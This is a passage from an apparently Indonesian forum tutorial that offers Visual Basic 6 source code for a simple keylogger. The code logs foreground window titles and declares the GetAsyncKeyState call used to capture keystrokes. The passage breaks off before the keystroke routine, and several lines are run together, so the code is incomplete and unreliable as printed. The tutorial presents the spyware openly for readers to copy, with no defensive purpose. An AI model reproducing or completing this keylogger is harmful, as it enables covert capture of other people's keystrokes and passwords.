Membuat Key Logger Sederhana Dengan Visual Basic

Assalamualaikum wr wb, salam sejahtera sobat Formi,

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..

1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE
   
   
4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
5. Copas seluruh Code di bawah ini :
   Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
   Private Declare Function GetForegroundWindow Lib “user32″ () As Long
   Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
   Private hForegroundWnd As Long
   Private backs As BooleanPrivate Sub Command1_Click()
   Timer1.Enabled = True
   End SubPrivate Sub Command2_Click()
   Timer1.Enabled = False
   End SubPrivate Sub Command3_Click()
   backs = True
   End SubPrivate Sub Command4_Click()
   backs = False
   End SubPrivate Sub Form_Load()
   backs = True
   End SubPrivate Sub Label1_Click()
   End Sub
   Private Sub Label4_Click()
   End Sub
   Private Sub Label6_Click()
   Timer1.Enabled = True
   End Sub
   Private Sub Label7_Click()
   Timer1.Enabled = False
   End Sub
   Private Sub Label8_Click()
   backs = True
   End Sub
   Private Sub Label9_Click()
   backs = False
   End Sub
   Private Sub Text1_Change()
   Text1.SelStart = 0
   Text1.SelLength = Len(Text1.Text)
   End Sub
   Private Sub Timer1_Timer()
   Dim x, x2, i, t As Integer
   Dim win As Long
   Dim Title As String * 1000
   win = GetForegroundWindow()
   If (win = hForegroundWnd) Then
   GoTo Keylogger
   Else
   hForegroundWnd = GetForegroundWindow()
   Title = “”
   GetWindowText hForegroundWnd, Title, 1000
   Select Case Asc(Title)
   Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
   Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ ” & Title
   Text1.Text = Text1.Text & ” ]” & vbCrLf
   End Select
   End If
   Exit Sub
   Keylogger:
